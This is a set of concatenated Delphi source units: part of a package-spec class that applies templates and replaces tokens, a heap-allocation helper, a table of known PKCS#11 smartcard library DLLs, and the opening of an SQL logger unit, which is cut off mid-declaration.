begin
result := true;
for newEntry in libs do
begin
existing := targetPlatform.FindLibFileBySrc(newEntry.Source);
if existing <> nil then
begin
result := false;
Logger.Error('Duplicate Lib entry ' + newEntry.Source + '] found in targetPlatform and template');
end
else
begin
existing := newEntry.Clone;
targetPlatform.LibFiles.Add(existing.Clone);
end;
end;
end;
function TSpec.ApplyOtherFiles(const targetPlatform : ISpecTargetPlatform; const files : IList<ISpecFileEntry>) : boolean;
var
existing : ISpecFileEntry;
newEntry : ISpecFileEntry;
begin
result := true;
for newEntry in files do
begin
existing := targetPlatform.FindOtherFileBySrc(newEntry.Source);
if existing <> nil then
begin
result := false;
Logger.Error('Duplicate files entry ' + newEntry.Source + '] found in targetPlatform and template');
end
else
begin
existing := newEntry.Clone;
targetPlatform.Files.Add(existing.Clone);
end;
end;
end;
function TSpec.ApplyRuntime(const targetPlatform : ISpecTargetPlatform; const runtimeFiles : IList<ISpecBPLEntry>) : boolean;
var
existing : ISpecBPLEntry;
newBPL : ISpecBPLEntry;
begin
result := true;
for newBPL in runtimeFiles do
begin
existing := targetPlatform.FindRuntimeBplBySrc(newBPL.Source);
if existing <> nil then
begin
result := false;
Logger.Error('Duplicate Runtime bpl ' + newBPL.Source + '] found in targetPlatform and template');
end
else
begin
existing := newBPL.Clone;
targetPlatform.RuntimeFiles.Add(existing.Clone);
end;
end;
end;
function TSpec.ApplySearchPaths(const targetPlatform : ISpecTargetPlatform; const searchPaths : IList<ISpecSearchPath>) : boolean;
var
newSearchPath : ISpecSearchPath;
existingSearchPath : ISpecSearchPath;
searchPathGroup : ISpecSearchPathGroup;
begin
result := true;
if not searchPaths.Any then
exit;
//first see if there is a group for this target platform, if there is then that is all we will use.
searchPathGroup := searchPaths.FirstOrDefault(
function(const searchPath : ISpecSearchPath) : boolean
var
group : ISpecSearchPathGroup;
begin
result := searchPath.IsGroup;
if result then
begin
group := searchPath as ISpecSearchPathGroup;
result := (group.TargetPlatform.Compiler = targetPlatform.Compiler)
and (group.TargetPlatform.Platform = targetPlatform.Platforms[0]);
end;
end) as ISpecSearchPathGroup;
//if we have a group that matches the targetPlatform then we replace the searchPaths with it's searchPaths
if searchPathGroup <> nil then
begin
targetPlatform.SearchPaths.Clear;
for newSearchPath in searchPathGroup.SearchPaths do
begin
existingSearchPath := newSearchPath.Clone;
targetPlatform.SearchPaths.Add(existingSearchPath);
end;
exit;
end;
for newSearchPath in searchPaths do
begin
existingSearchPath := targetPlatform.FindSearchPathByPath(newSearchPath.Path);
if existingSearchPath <> nil then
begin
result := false;
Logger.Error('Duplicate searchPath [' + existingSearchPath.Path + '] found in targetPlatform and template');
end
else
begin
existingSearchPath := newSearchPath.Clone;
targetPlatform.SearchPaths.Add(existingSearchPath);
end;
end;
end;
function TSpec.ApplySource(const targetPlatform : ISpecTargetPlatform; const sourceFiles : IList<ISpecFileEntry>) : boolean;
var
existing : ISpecFileEntry;
newEntry : ISpecFileEntry;
begin
result := true;
for newEntry in sourceFiles do
begin
existing := targetPlatform.FindSourceFileBySrc(newEntry.Source);
if existing <> nil then
begin
result := false;
Logger.Error('Duplicate Source entry ' + newEntry.Source + '] found in targetPlatform and template');
end
else
begin
existing := newEntry.Clone;
targetPlatform.SourceFiles.Add(existing.Clone);
end;
end;
end;
function TSpec.ApplyTemplates : Boolean;
var
template : ISpecTemplate;
targetPlatform : ISpecTargetPlatform;
begin
result := true;
Logger.Information('Applying templates..');
//if any targetPlatforms reference a template
if not FTargetPlatforms.Any(function(const item : ISpecTargetPlatform) : boolean
begin
result := item.TemplateName <> '';
end) then
exit;
//if we don't have templates then the spec is not valid.
if not FTemplates.Any then
begin
Logger.Error('No templates were found but targetPlatforms reference a template.');
exit(false);
end;
for targetPlatform in FTargetPlatforms do
begin
if SameText(targetPlatform.TemplateName, cUnset) then
continue;
template := FindTemplate(targetPlatform.TemplateName);
if template <> nil then
begin
result := ApplyDependencies(targetPlatform, template.Dependencies) and result;
result := ApplySearchPaths(targetPlatform, template.SearchPaths) and result;
result := ApplyLibrary(targetPlatform, template.LibFiles) and result;
result := ApplySource(targetPlatform, template.SourceFiles) and result;
result := ApplyOtherFiles(targetPlatform, template.Files) and result;
result := ApplyRuntime(targetPlatform, template.RuntimeFiles) and result;
result := ApplyDesign(targetPlatform, template.DesignFiles) and result;
result := ApplyBuild(targetPlatform, template.BuildEntries) and result;
end
else
begin
Logger.Error('A referenced template [' + targetPlatform.TemplateName + '] was not found.');
result := false
end;
end;
end;
constructor TSpec.Create(const logger : ILogger; const fileName : string);
begin
inherited Create(logger);
FFileName := fileName;
FMetaData := TSpecMetaData.Create(logger);
FTargetPlatforms := TCollections.CreateList<ISpecTargetPlatform>;
FTemplates := TCollections.CreateList<ISpecTemplate>;
end;
function TSpec.ExpandTargetPlatforms : boolean;
var
newTargetPlatforms : IList<ISpecTargetPlatform>;
toRemoveTargetPlatforms : IList<ISpecTargetPlatform>;
toProcessTargetPlatforms : TArray<ISpecTargetPlatform>;
targetPlatform : ISpecTargetPlatform;
newTargetPlatform : ISpecTargetPlatform;
platform : TDPMPlatform;
begin
result := true;
Logger.Information('Expanding targetPlatforms');
toProcessTargetPlatforms := FTargetPlatforms.Where(
function(const tp : ISpecTargetPlatform) : boolean
begin
result := Length(tp.Platforms) > 1;
end).ToArray;
if length(toProcessTargetPlatforms) = 0 then
exit;
newTargetPlatforms := TCollections.CreateList<ISpecTargetPlatform>;
toRemoveTargetPlatforms := TCollections.CreateList<ISpecTargetPlatform>;
try
for targetPlatform in toProcessTargetPlatforms do
begin
for platform in targetPlatform.Platforms do
begin
newTargetPlatform := targetPlatform.CloneForPlatform(platform);
newTargetPlatforms.Add(newTargetPlatform);
//Logger.Debug('Expanded ' + CompilerToString(newTargetPlatform.Compiler) + '.' + DPMPlatformToString(newTargetPlatform.Platforms[0]));
end;
toRemoveTargetPlatforms.Add(targetPlatform);
end;
FTargetPlatforms.RemoveRange(toRemoveTargetPlatforms);
FTargetPlatforms.AddRange(newTargetPlatforms);
except
on e : Exception do
begin
Logger.Error('Error expanding TargetPlatforms : ' + e.Message);
result := false;
end;
end;
//TODO : Sort targetPlatforms by compiler then platform
end;
procedure TSpec.GetTokensForTargetPlatform(const targetPlatform : ISpecTargetPlatform; const version : TPackageVersion; const list : TStringList; const externalProps : TStringList);
var
i: Integer;
regEx : TRegEx;
evaluator : TMatchEvaluator;
begin
list.Clear;
if not version.IsEmpty then
list.Add('version=' + version.ToString)
else
list.Add('version=' + FMetaData.Version.ToString);
list.Add('target=' + CompilerToString(targetPlatform.Compiler));
list.Add('compiler=' + CompilerToString(targetPlatform.Compiler));
list.Add('compilerNoPoint=' + CompilerToStringNoPoint(targetPlatform.Compiler));
list.Add('compilerCodeName=' + CompilerCodeName(targetPlatform.Compiler));
list.Add('compilerWithCodeName=' + CompilerWithCodeName(targetPlatform.Compiler));
list.Add('platform=' + DPMPlatformToString(targetPlatform.Platforms[0]));
list.Add('compilerVersion=' + CompilerToCompilerVersionIntStr(targetPlatform.Compiler));
list.Add('libSuffix=' + CompilerToLibSuffix(targetPlatform.Compiler));
list.Add('bdsVersion=' + CompilerToBDSVersion(targetPlatform.Compiler));
if targetPlatform.Variables.Count = 0 then
exit;
//override the values with values from the template.
for i := 0 to targetPlatform.Variables.Count -1 do
begin
list.Values[targetPlatform.Variables.Names[i]] := '';
list.Add(targetPlatform.Variables.Names[i] + '=' + targetPlatform.Variables.ValueFromIndex[i]);
end;
//apply external props passed in on command line.
if externalProps.Count > 0 then
begin
for i := 0 to externalProps.Count -1 do
list.Values[externalProps.Names[i]] := externalProps.ValueFromIndex[i];
end;
regEx := TRegEx.Create('\$(\w+)\$');
evaluator := TokenMatchEvaluator;
//variables from the spec and external may reference existing variables.
for i := 0 to list.Count -1 do
begin
if TStringUtils.Contains(list.ValueFromIndex[i], '$') then
list.ValueFromIndex[i] := regEx.Replace(list.ValueFromIndex[i], evaluator);
end;
end;
function TSpec.FindTemplate(const name : string) : ISpecTemplate;
begin
result := FTemplates.FirstOrDefault(
function(const item : ISpecTemplate) : boolean
begin
result := SameText(name, item.Name);
end);
end;
function TSpec.GetTargetPlatform: ISpecTargetPlatform;
begin
if FTargetPlatforms.Any then
result := FTargetPlatforms[0]
else
result := nil;
end;
function TSpec.GetTargetPlatforms : IList<ISpecTargetPlatform>;
begin
result := FTargetPlatforms;
end;
function TSpec.GetTemplates : IList<ISpecTemplate>;
begin
result := FTemplates;
end;
function TSpec.GenerateManifestJson(const version : TSemanticVersion; const targetPlatform : ISpecTargetPlatform) : string;
var
Obj : TJsonObject;
dependency : ISpecDependency;
searchPath : ISpecSearchPath;
buildEntry : ISpecBuildEntry;
bplEntry : ISpecBPLEntry;
metaDataObj : TJsonObject;
targetPlatformObject : TJDOJsonObject;
// variablesObj : TJsonObject;
dependencyObj : TJsonObject;
seachPathObj : TJsonObject;
buildEntryObj : TJsonObject;
runtimeEntryObj : TJsonObject;
designEntryObj : TJsonObject;
copyFileObj : TJsonObject;
i: Integer;
begin
result := '';
Obj := TJsonObject.Create;
try
metaDataObj := Obj.O['metadata'];
metaDataObj['id'] := FMetaData.Id;
metaDataObj['version'] := version.ToStringNoMeta;
metaDataObj['description'] := FMetaData.Description;
metaDataObj['authors'] := FMetaData.Authors;
//optional metadata
if FMetaData.ProjectUrl <> '' then
metaDataObj['projectUrl'] := FMetaData.ProjectUrl;
if FMetaData.RepositoryUrl <> '' then
metaDataObj['repositoryUrl'] := FMetaData.RepositoryUrl;
if FMetaData.RepositoryType <> '' then
metaDataObj['repositoryType'] := FMetaData.RepositoryType;
if FMetaData.RepositoryBranch <> '' then
metaDataObj['repositoryBranch'] := FMetaData.RepositoryBranch;
if FMetaData.RepositoryCommit <> '' then
metaDataObj['repositoryCommit'] := FMetaData.RepositoryCommit;
if FMetaData.License <> '' then
metaDataObj['license'] := FMetaData.License;
if FMetaData.Icon <> '' then
begin
//ensure consistent icon file name to make it easier to extract later.
if ExtractFileExt(FMetaData.Icon) = '.svg' then
metaDataObj['icon'] := cIconFileSVG
else
metaDataObj['icon'] := cIconFilePNG
end;
if FMetaData.Copyright <> '' then
metaDataObj['copyright'] := FMetaData.Copyright;
if FMetaData.Tags <> '' then
metaDataObj['tags'] := FMetaData.tags;
if FMetaData.ReadMe <> '' then
metaDataObj['readme'] := FMetaData.ReadMe;
if FMetaData.ReleaseNotes <> '' then
metaDataObj['releaseNotes'] := FMetaData.ReleaseNotes;
metaDataObj['isTrial'] := LowerCase(BoolToStr(FMetaData.IsTrial, true));
metaDataObj['isCommercial'] := LowerCase(BoolToStr(FMetaData.IsCommercial, true));
metaDataObj['uiFramework'] := UIFrameworkTypeToString(FMetaData.UIFrameworkType);
targetPlatformObject := Obj.A['targetPlatforms'].AddObject;
targetPlatformObject['compiler'] := CompilerToString(targetPlatform.Compiler);
targetPlatformObject['platforms'] := DPMPlatformToString(targetPlatform.Platforms[0]);
// if targetPlatform.Variables.Count > 0 then
// begin
// variablesObj := targetPlatformObject.O['variables'];
// for i := 0 to targetPlatform.Variables.Count -1 do
// variablesObj.S[targetPlatform.Variables.Names[i]] := targetPlatform.Variables.ValueFromIndex[i];
// end;
if targetPlatform.Dependencies.Any then
begin
for dependency in targetPlatform.Dependencies do
begin
dependencyObj := targetPlatformObject.A['dependencies'].AddObject;
dependencyObj['id'] := dependency.Id;
dependencyObj['version'] := dependency.Version.ToString;
end;
end;
if targetPlatform.SearchPaths.Any then
begin
for searchPath in targetPlatform.SearchPaths do
begin
seachPathObj := targetPlatformObject.A['searchPaths'].AddObject;
seachPathObj['path'] := searchPath.Path;
end;
end;
if targetPlatform.RuntimeFiles.Any then
begin
for bplEntry in targetPlatform.RuntimeFiles do
begin
runtimeEntryObj := targetPlatformObject.A['runtime'].AddObject;
if bplEntry.BuildId <> '' then
runtimeEntryObj['buildId'] := bplEntry.BuildId;
runtimeEntryObj['src'] := bplEntry.Source; //TODO : check this is expanded with variables
runtimeEntryObj['copyLocal'] := bplEntry.CopyLocal;
end;
end;
if targetPlatform.DesignFiles.Any then
begin
for bplEntry in targetPlatform.DesignFiles do
begin
designEntryObj := targetPlatformObject.A['design'].AddObject;
if bplEntry.BuildId <> '' then
designEntryObj['buildId'] := bplEntry.BuildId;
designEntryObj['src'] := bplEntry.Source; //TODO : check this is expanded with variables
designEntryObj['install'] := bplEntry.Install;
end;
end;
if targetPlatform.BuildEntries.Any then
begin
for buildEntry in targetPlatform.BuildEntries do
begin
buildEntryObj := targetPlatformObject.A['build'].AddObject;
buildEntryObj['id'] := buildEntry.Id;
buildEntryObj['project'] := buildEntry.Project;
buildEntryObj['config'] := buildEntry.Config;
buildEntryObj['bplOutputDir'] := buildEntry.BplOutputDir;
buildEntryObj['libOutputDir'] := buildEntry.LibOutputDir;
buildEntryObj['designOnly'] := buildEntry.DesignOnly;
buildEntryObj['buildForDesign'] := buildEntry.BuildForDesign;
if buildEntry.CopyFiles.Any then
begin
for i := 0 to buildEntry.CopyFiles.Count -1 do
begin
copyFileObj := buildEntryObj.A['copyFiles'].AddObject;
copyFileObj['src'] := buildEntry.CopyFiles[i].Source;
copyFileObj.B['flatten'] := buildEntry.CopyFiles[i].Flatten;
end;
end;
end;
end;
result := Obj.ToJSON(False);
finally
Obj.Free;
end;
end;
function TSpec.GetFileName : string;
begin
result := FFileName;
end;
function TSpec.GetIsValid : boolean;
begin
result := FIsValid;
end;
function TSpec.GetMetaData : ISpecMetaData;
begin
result := FMetaData;
end;
function TSpec.LoadFromJson(const jsonObject : TJsonObject) : Boolean;
var
metaDataObj : TJsonObject;
templatesArray : TJsonArray;
targetPlatformsArray : TJsonArray;
begin
FIsValid := false;
//Logger.Debug('Reading spec metadata');
if not jsonObject.Contains('metadata') then
begin
Logger.Error('Required element [metadata] not found!');
result := false;
end
else
begin
metaDataObj := jsonObject.O['metadata'];
result := FMetaData.LoadFromJson(metaDataObj)
end;
if jsonObject.Contains('templates') then
begin
//Logger.Debug('Reading spec templates');
templatesArray := jsonObject.A['templates'];
result := LoadTemplatesFromJson(templatesArray) and result;
end;
if not jsonObject.Contains('targetPlatforms') then
begin
Logger.Error('Required element [targetPlatforms] not found!');
result := false;
end
else
begin
//Logger.Debug('Reading spec targetPlatforms');
targetPlatformsArray := jsonObject.A['targetPlatforms'];
result := LoadTargetPlatformsFromJson(targetPlatformsArray) and result;
end;
FIsValid := result;
end;
function TSpec.LoadTargetPlatformsFromJson(const targetPlatformsArray : TJsonArray) : boolean;
var
i : integer;
targetPlatform : ISpecTargetPlatform;
begin
result := true;
if targetPlatformsArray.Count = 0 then
begin
Logger.Error('No targetPlatforms found, at least 1 is required');
exit(false);
end;
for i := 0 to targetPlatformsArray.Count - 1 do
begin
targetPlatform := TSpecTargetPlatform.Create(Logger);
FTargetPlatforms.Add(targetPlatform);
result := targetPlatform.LoadFromJson(targetPlatformsArray.O[i]) and result;
end;
end;
function TSpec.LoadTemplateFromJson(const templateObj : TJsonObject; const templateNo : integer) : boolean;
var
template : ISpecTemplate;
begin
result := true;
if not templateObj.Contains('name') then
begin
result := false;
Logger.Error('Template #' + IntToStr(templateNo) + ' is missing the required name field!');
end;
template := TSpecTemplate.Create(Self.Logger);
result := result and template.LoadFromJson(templateObj);
FTemplates.Add(template);
end;
function TSpec.LoadTemplatesFromJson(const templatesArray : TJsonArray) : boolean;
var
i : integer;
begin
result := true;
if templatesArray.Count > 0 then
begin
for i := 0 to templatesArray.Count - 1 do
result := LoadTemplateFromJson(templatesArray.O[i], i + 1) and result;
end;
end;
function TSpec.PreProcess(const version : TPackageVersion; const properties : TStringList) : boolean;
begin
result := false;
Logger.Information('Preprocessing spec file..');
if not ExpandTargetPlatforms then
exit;
if not ApplyTemplates then
exit;
if not ReplaceTokens(version, properties) then
exit;
result := true;
end;
function TSpec.ReplaceTokens(const version : TPackageVersion; const properties : TStringList) : boolean;
var
tokenList : TStringList;
targetPlatform : ISpecTargetPlatform;
fileEntry : ISpecFileEntry;
bplEntry : ISpecBPLEntry;
buildEntry : ISpecBuildEntry;
dependency : ISpecDependency;
regEx : TRegEx;
evaluator : TMatchEvaluator;
begin
result := true;
Logger.Information('Replacing tokens..');
tokenList := TStringList.Create;
FCurrentTokens := tokenList;
try
try
regEx := TRegEx.Create('\$(\w+)\$');
evaluator := TokenMatchEvaluator; //work around for compiler overload resolution issue.
for targetPlatform in FTargetPlatforms do
begin
GetTokensForTargetPlatform(targetPlatform, version, tokenList, properties);
FMetaData.Id := regEx.Replace(FMetaData.Id, evaluator);
FMetaData.Description := regEx.Replace(FMetaData.Description, evaluator);
FMetaData.Authors := regEx.Replace(FMetaData.Authors, evaluator);
if FMetaData.ProjectUrl <> '' then
FMetaData.ProjectUrl := regEx.Replace(FMetaData.ProjectUrl, evaluator);
if FMetaData.RepositoryUrl <> '' then
FMetaData.RepositoryUrl := regEx.Replace(FMetaData.RepositoryUrl, evaluator);
if FMetaData.RepositoryType <> '' then
FMetaData.RepositoryType := regEx.Replace(FMetaData.RepositoryType, evaluator);
if FMetaData.RepositoryBranch <> '' then
FMetaData.RepositoryBranch := regEx.Replace(FMetaData.RepositoryBranch, evaluator);
if FMetaData.RepositoryCommit <> '' then
FMetaData.RepositoryCommit := regEx.Replace(FMetaData.RepositoryCommit, evaluator);
FMetaData.License := regEx.Replace(FMetaData.License, evaluator);
if FMetaData.Icon <> '' then
FMetaData.Icon := regEx.Replace(FMetaData.Icon, evaluator);
if FMetaData.Copyright <> '' then
FMetaData.Copyright := regEx.Replace(FMetaData.Copyright, evaluator);
if FMetaData.Tags <> '' then
FMetaData.Tags := regEx.Replace(FMetaData.Tags, evaluator);
for fileEntry in targetPlatform.SourceFiles do
begin
fileEntry.Source := regEx.Replace(fileEntry.Source, evaluator);
fileEntry.Destination := regEx.Replace(fileEntry.Destination, evaluator);
end;
for fileEntry in targetPlatform.LibFiles do
begin
fileEntry.Source := TRim(regEx.Replace(fileEntry.Source, evaluator));
fileEntry.Destination := Trim(regEx.Replace(fileEntry.Destination, evaluator));
end;
for fileEntry in targetPlatform.Files do
begin
fileEntry.Source := Trim(regEx.Replace(fileEntry.Source, evaluator));
fileEntry.Destination := Trim(regEx.Replace(fileEntry.Destination, evaluator));
end;
for bplEntry in targetPlatform.RuntimeFiles do
begin
bplEntry.Source := Trim(regEx.Replace(bplEntry.Source, evaluator));
bplEntry.BuildId := Trim(regEx.Replace(bplEntry.BuildId, evaluator));
end;
for bplEntry in targetPlatform.DesignFiles do
begin
bplEntry.Source := Trim(regEx.Replace(bplEntry.Source, evaluator));
bplEntry.BuildId := Trim(regEx.Replace(bplEntry.BuildId, evaluator));
end;
for buildEntry in targetPlatform.BuildEntries do
begin
buildEntry.Id := regEx.Replace(buildEntry.Id, evaluator);
buildEntry.Project := regEx.Replace(buildEntry.Project, evaluator);
buildEntry.BplOutputDir := regEx.Replace(buildEntry.BplOutputDir, evaluator);
buildEntry.LibOutputDir := regEx.Replace(buildEntry.LibOutputDir, evaluator);
end;
for dependency in targetPlatform.Dependencies do
begin
if dependency.VersionString = '$version$' then
dependency.Version := TVersionRange.Create(FMetaData.Version);
end;
end;
finally
tokenList.Free;
FCurrentTokens := nil;
end;
except
on e : Exception do
begin
Logger.Error('Error replacing tokens : ' + e.Message);
result := false;
end;
end;
end;
function TSpec.TokenMatchEvaluator(const match : TMatch) : string;
begin
if match.Success and (match.Groups.Count = 2) then
begin
// Logger.Debug('Replacing ' + match.Groups.Item[1].Value);
if FCurrentTokens.IndexOfName(match.Groups.Item[1].Value) <> -1 then
result := FCurrentTokens.Values[match.Groups.Item[1].Value]
else
raise Exception.Create('Unknown token [' + match.Groups.Item[1].Value + ']');
end
else
result := match.Value;
end;
end.
|
unit Heap0;
interface
uses windows, util1;
{
getmemG, reallocmemG et FreememG ont le même rôle que les procédures système
mais ne génèrent pas d'erreur
En 32 bits, la valeur demandée size peut être supérieure 2 GB
}
procedure freememG(p: pointer);
function getmemG(var p: pointer; size: int64): boolean;
function reallocmemG(var P: Pointer; Size: Int64): boolean;
procedure testHeap0;
implementation
procedure testHeap0;
var
p:PtabOctet;
size:int64;
begin
size:= int64(1) shl 32;
getmem(p,size);
fillchar(p^,size,1);
messageCentral('Hello '+Int64str(size)+' '+Istr(p^[size-1]));
freemem(p);
end;
procedure freememG(p: pointer);
begin
if p=nil then exit;
freemem(p);
end;
function getmemG(var p: pointer; size: int64): boolean;
begin
result:=true;
if size=0 then p:=nil
else
try
if size>=maxmem
then result:= false
else getmem(p,size);
except
result:= false;
p:=nil;
end;
end;
function reallocmemG(var P: Pointer; Size: Int64): boolean;
begin
if size>maxmem then
begin
result:= false;
exit;
end;
result:=true;
try
reallocmem(p,size);
except
result:=false;
end;
end;
end.
|
unit PKCS11KnownLibs;
interface
uses
Classes;
type
TPKCS11KnownLibrary = record
DLLFilename: string;
Manufacturer: string;
Device: string;
end;
const
PKCS11_KNOWN_LIBRARIES: array [1..68] of TPKCS11KnownLibrary = (
//this is by far the most common as included in forefox, so comes first
//todo: can include in app? mpl?
(
DLLFilename: 'softokn3.dll';
Manufacturer: 'Mozilla/Netscape';
Device: 'Mozilla or Netscape crypto module';
),
(
DLLFilename: 'acospkcs11.dll';
Manufacturer: 'ACS';
Device: 'ACOS5 smartcards';
),
(
DLLFilename: 'aetpkss1.dll';
Manufacturer: 'AET';
Device: 'Rainbow iKey 3000 series and G&D StarCos 2.3 SPK cards';
),
(
DLLFilename: 'etpkcs11.dll';
Manufacturer: 'Aladdin';
Device: 'eToken PRO';
),
(
DLLFilename: 'etpkcs11.dll';
Manufacturer: 'Aladdin';
Device: 'eToken R2';
),
(
DLLFilename: 'sadaptor.dll';
Manufacturer: 'Algorithmic Research';
Device: 'MiniKey';
),
(
DLLFilename: 'aloaha_pkcs11.dll';
Manufacturer: 'Aloaha';
Device: 'Smart Card Connector';
),
(
DLLFilename: 'psepkcs11.dll';
Manufacturer: 'A-Sign';
Device: 'A-Sign premium cards';
),
(
DLLFilename: 'asepkcs.dll';
Manufacturer: 'Athena';
Device: 'Athena Smartcard System ASE Card';
),
(
DLLFilename: 'asignp11.dll';
Manufacturer: 'A-Trust';
Device: 'a-sign';
),
(
DLLFilename: 'Belgium Identity Card PKCS11.dll';
Manufacturer: 'Belgian Government';
Device: 'Belgian Electronic Identity (eID) Card';
),
(
DLLFilename: 'cryst32.dll';
Manufacturer: 'Chrysalis';
Device: '';
),
(
DLLFilename: 'cryst201.dll';
Manufacturer: 'Chrysalis';
Device: 'LUNA';
),
(
DLLFilename: 'dspkcs.dll';
Manufacturer: 'Dallas Semiconductors';
Device: 'iButton';
),
(
DLLFilename: 'cryptoki.dll';
Manufacturer: 'Eracom';
Device: '(hardware)';
),
(
DLLFilename: 'cryptoki.dll';
Manufacturer: 'Eracom';
Device: '(software emulation)';
),
(
DLLFilename: 'opensc-pkcs11.dll';
Manufacturer: 'Estonian Government';
Device: 'Estonian Electronic Identity (eID) Card';
),
(
DLLFilename: 'sadaptor.dll';
Manufacturer: 'Eutron';
Device: 'Crypto Identity';
),
(
DLLFilename: 'EP1PK111.DLL';
Manufacturer: 'Feitain technologys Co.,Ltd';
Device: 'ePass 1000';
),
(
DLLFilename: 'ep2pk11.dll';
Manufacturer: 'Feitain technologys Co.,Ltd';
Device: 'ePass 2000';
),
(
DLLFilename: 'ngp11v211.dll';
Manufacturer: 'Feitain technologys Co.,Ltd';
Device: 'ePass 2000_FT11';
),
(
DLLFilename: 'ngp11v211.dll';
Manufacturer: 'Feitain technologys Co.,Ltd';
Device: 'ePass 3000';
),
(
DLLFilename: 'ShuttleCsp11_3003.dll';
Manufacturer: 'Feitain technologys Co.,Ltd';
Device: 'ePass 3003';
),
(
DLLFilename: 'gclib.dll';
Manufacturer: 'Gemplus';
Device: '';
),
(
DLLFilename: 'pk2priv.dll';
Manufacturer: 'Gemplus';
Device: '';
),
(
DLLFilename: 'w32pk2ig.dll';
Manufacturer: 'GemPlus/GemSoft';
Device: 'GemPlus/GemSoft Smartcard';
),
(
DLLFilename: 'gclib.dll';
Manufacturer: 'GemSafe';
Device: '';
),
(
DLLFilename: 'pk2priv.dll';
Manufacturer: 'GemSafe';
Device: '';
),
(
DLLFilename: 'cryptoki.dll';
Manufacturer: 'IBM';
Device: 'IBM 4758';
),
(
DLLFilename: 'CccSigIT.dll';
Manufacturer: 'IBM';
Device: 'IBM Digital Signature for the Internet (DSI) for MFC cards';
),
(
DLLFilename: 'csspkcs11.dll';
Manufacturer: 'IBM';
Device: 'IBM Embededded Security Subsystem';
),
(
DLLFilename: 'ibmpkcss.dll';
Manufacturer: 'IBM';
Device: 'IBM Netfinity PSG Chip1';
),
(
DLLFilename: 'w32pk2ig.dll';
Manufacturer: 'IBM';
Device: 'IBM SecureWay Smartcard';
),
(
DLLFilename: 'cryptoki.dll';
Manufacturer: 'IBM';
Device: '';
),
(
DLLFilename: 'id2cbox.dll';
Manufacturer: 'ID2';
Device: '';
),
(
DLLFilename: 'cknfast.dll';
Manufacturer: 'nCipher';
Device: 'nFast';
),
(
DLLFilename: 'cknfast.dll';
Manufacturer: 'nCipher';
Device: 'nShield';
),
(
DLLFilename: 'nxpkcs11.dll';
Manufacturer: 'Nexus';
Device: '';
),
(
DLLFilename: 'opensc-pkcs11.dll';
Manufacturer: 'OpenSC';
Device: '(multiple)';
),
(
DLLFilename: 'micardoPKCS11.dll';
Manufacturer: 'Orga Micardo';
Device: '';
),
(
DLLFilename: 'Cryptoki22.dll';
Manufacturer: 'Rainbow';
Device: 'CryptoSwift Accelerator';
),
(
DLLFilename: 'iveacryptoki.dll';
Manufacturer: 'Rainbow';
Device: 'CryptoSwift HSM';
),
(
DLLFilename: 'cryptoki22.dll';
Manufacturer: 'Rainbow';
Device: 'Ikey 1000';
),
(
DLLFilename: 'k1pk112.dll';
Manufacturer: 'Rainbow';
Device: 'iKey 1000/1032';
),
(
DLLFilename: 'dkck201.dll';
Manufacturer: 'Rainbow';
Device: 'iKey 2000 series and for DataKey cards';
),
(
DLLFilename: 'dkck232.dll';
Manufacturer: 'Rainbow';
Device: 'iKey 2000/2032';
),
(
DLLFilename: 'dkck201.dll';
Manufacturer: 'Rainbow';
Device: 'iKey 2032';
),
(
DLLFilename: 'cryptoki22.dll';
Manufacturer: 'Rainbow';
Device: '';
),
(
DLLFilename: 'p11card.dll';
Manufacturer: 'Safelayer';
Device: 'HSM';
),
(
DLLFilename: 'acpkcs.dll';
Manufacturer: 'Schlumberger';
Device: 'Cryptoflex';
),
(
DLLFilename: 'slbck.dll';
Manufacturer: 'Schlumberger';
Device: 'Cryptoflex';
),
(
DLLFilename: 'slbck.dll';
Manufacturer: 'Schlumberger';
Device: 'Cyberflex Access';
),
(
DLLFilename: 'SetTokI.dll';
Manufacturer: 'SeTec';
Device: 'SeTokI cards';
),
(
DLLFilename: 'siecap11.dll';
Manufacturer: 'Siemens';
Device: 'HiPath SIcurity Card';
),
(
DLLFilename: 'eTpkcs11.dll';
Manufacturer: 'Siemens';
Device: 'Some Siemens Card OS cards';
),
(
DLLFilename: 'smartp11.dll';
Manufacturer: 'SmartTrust';
Device: '';
),
(
DLLFilename: 'SpyPK11.dll';
Manufacturer: 'Spyrus';
Device: '';
),
(
DLLFilename: 'pkcs201n.dll';
Manufacturer: 'Utimaco';
Device: 'Cryptoki for SafeGuard';
),
(
DLLFilename: 'acpkcs.dll';
Manufacturer: '';
Device: 'ActivCard cards';
),
(
DLLFilename: 'acpkcs211.dll';
Manufacturer: '';
Device: 'ActivClient';
),
(
DLLFilename: 'dkck201.dll';
Manufacturer: '';
Device: 'Datakey';
),
(
DLLFilename: 'pkcs201n.dll';
Manufacturer: '';
Device: 'Datakey';
),
(
DLLFilename: 'dkck201.dll';
Manufacturer: '';
Device: 'Datakey CIP';
),
(
DLLFilename: 'dkck232.dll';
Manufacturer: '';
Device: 'Datakey/iKey';
),
(
DLLFilename: 'fort32.dll';
Manufacturer: '';
Device: 'Fortezza Module';
),
(
DLLFilename: 'AuCryptoki2-0.dll';
Manufacturer: '';
Device: 'Oberthur AuthentIC';
),
(
DLLFilename: '3gp11csp.dll';
Manufacturer: '';
Device: 'SCW PKCS 3GI 3-G International';
),
(
DLLFilename: 'pkcs11.dll';
Manufacturer: '';
Device: 'TeleSec';
)
);
function PKCS11KnownLibraryPrettyDesc(knownLib: TPKCS11KnownLibrary): string;
implementation
function PKCS11KnownLibraryPrettyDesc(knownLib: TPKCS11KnownLibrary): string;
begin
Result := knownLib.Manufacturer;
if (Result = '') then
begin
Result := knownLib.Device;
end
else if (knownLib.Device <> '') then
begin
Result := Result + ': ' + knownLib.Device;
end;
end;
END.
|
unit SqlLogger;
interface
uses
NSql;
function TextFileSqlLogger(const FileName: UnicodeString; RewriteFile: Boolean): ISqlLogger;
function ConsoleSqlLogger: ISqlLogger;
function FakeSqlLogger: ISqlLogger;
implementation
uses
SysUtils,
DateUtils,
NSqlSys,
Windows;
type
TBaseSqlLogger = class(TInterfacedObject, ISqlLogger)
private
FUse: Boolean;
FSubLoggers: array of ISqlLogger;
FCriticalSection: INSqlCriticalSection;
protected
procedure InternalLog(const S: UnicodeString; BreakLine, WriteSpaceLine: Boolean); virtual; abstract;
procedure StartUsing; virtual;
procedure StopUsing; virtual;
{ ISqlLogger }
procedure Log(const Message: UnicodeString; WriteDateTimePrefix: Boolean = True; BreakLine: Boolean = True; WriteSpaceLine: Boolean = True);
function GetUse: Boolean;
procedure SetUse(const Value: Boolean);
function AddLogger(Logger: ISqlLogger): ISqlLogger;
public
constructor Create;
destructor Destroy; override;
end;
TFileSqlLogger = class(TBaseSqlLogger)
private
FFileName: UnicodeString;
FRewriteFile: Boolean;
protected
